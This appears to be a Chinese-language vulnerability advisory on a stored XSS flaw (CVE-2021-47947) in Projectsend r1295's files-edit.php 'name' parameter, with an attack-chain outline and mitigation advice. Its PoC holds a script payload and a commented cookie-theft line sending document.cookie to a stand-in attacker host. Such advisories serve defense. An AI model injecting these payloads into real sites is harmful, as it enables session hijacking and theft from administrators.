IPBUF安全漏洞报告
English
CVE-2021-47947 CVSS 6.4 中危

CVE-2021-47947 Projectsend存储型XSS漏洞

披露日期: 2026-05-10

漏洞信息

漏洞编号
CVE-2021-47947
漏洞类型
存储型跨站脚本 (Stored XSS)
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Projectsend

相关标签

XSS存储型XSSProjectsendWeb安全CVE-2021-47947

漏洞概述

Projectsend r1295版本存在存储型跨站脚本(XSS)漏洞。该漏洞源于files-edit.php中的'name'参数缺乏有效的输入过滤和输出编码。经过身份验证的攻击者可以通过提交包含恶意脚本的文件名,将JavaScript载荷注入到数据库中。当系统管理员或其他用户在仪表盘页面查看受影响的文件时,恶意脚本将在其浏览器中自动执行,从而导致会话劫持或敏感信息泄露。

技术细节

该漏洞属于存储型跨站脚本(Stored XSS)。在Projectsend r1295版本中,应用程序在处理文件上传或编辑(files-edit.php)时,未对用户输入的文件名('name'参数)进行严格的HTML实体编码。攻击者利用低权限账户,可以在文件编辑功能中提交特制的文件名(例如`<script>alert(1)</script>`)。该恶意载荷被持久化存储在服务器端。当具有更高权限的用户(如系统管理员)访问管理后台的Dashboard页面时,应用程序会从数据库读取文件名并直接渲染到HTML页面中,未经过转义处理。这导致攻击者的恶意脚本在受害者的浏览器上下文中执行,从而可能利用管理员权限执行任意操作。

攻击链分析

STEP 1
步骤1
攻击者获取Projectsend平台的低权限账户。
STEP 2
步骤2
攻击者访问files-edit.php页面,在文件名('name'参数)字段中注入恶意JavaScript代码。
STEP 3
步骤3
服务器将包含恶意脚本的文件名存储在数据库中。
STEP 4
步骤4
系统管理员登录后台并访问Dashboard页面。
STEP 5
步骤5
Dashboard页面加载文件列表,恶意脚本在管理员浏览器中执行。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- PoC for CVE-2021-47947 Vulnerable Parameter: name (in files-edit.php) --> <script> // Example payload to inject into the filename field alert('XSS via CVE-2021-47947'); // Simulated cookie theft // var i = new Image(); // i.src = "http://attacker-server.com/steal?c="+document.cookie; </script>

影响范围

Projectsend r1295

防御指南

临时缓解措施
建议立即检查系统版本,若使用受影响版本,应尽快升级至官方发布的修复版本。在无法立即升级的情况下,管理员应限制低权限用户的文件上传和编辑权限,并在服务器端部署WAF规则以拦截包含常见XSS恶意字符的请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表